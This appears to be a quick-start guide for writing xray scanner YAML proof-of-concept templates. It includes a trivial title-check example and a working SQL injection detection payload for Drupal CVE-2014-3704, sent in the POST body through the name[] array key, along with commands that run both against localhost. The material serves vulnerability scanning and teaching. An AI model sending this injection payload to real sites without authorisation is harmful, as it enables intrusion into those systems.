快速开始

name: poc-yaml-example
transport: http
rules:
  r0:
    request:
      method: GET
      path: /
    expression: response.status == 200 && response.title.bcontains(b"Example Domain")
expression: r0()
detail:
  author: test
  links:
    - https://example.com

./xray ws --poc example.yml --url http://127.0.0.1:8080

name: poc-yaml-drupal-cve-2014-3704-sqli
transport: http
set:
  rand: randomInt(200000000, 210000000)
rules:
  r0:
    request:
      method: POST
      path: /?q=node&destination=node
      headers:
        Content-Type: application/x-www-form-urlencoded
      body: pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,(select md5({{rand}}))),0)%23]=bob&name[0]=a
    expression: >-
      response.status == 500 &&
      response.body.bcontains(bytes(substr(md5(string(rand)), 0, 31)))
expression: r0()
detail:
  author: test
  links:
    - https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2014-3704

./xray ws --poc drupal-cve-2014-3704-sqli.yml --url http://127.0.0.1:8080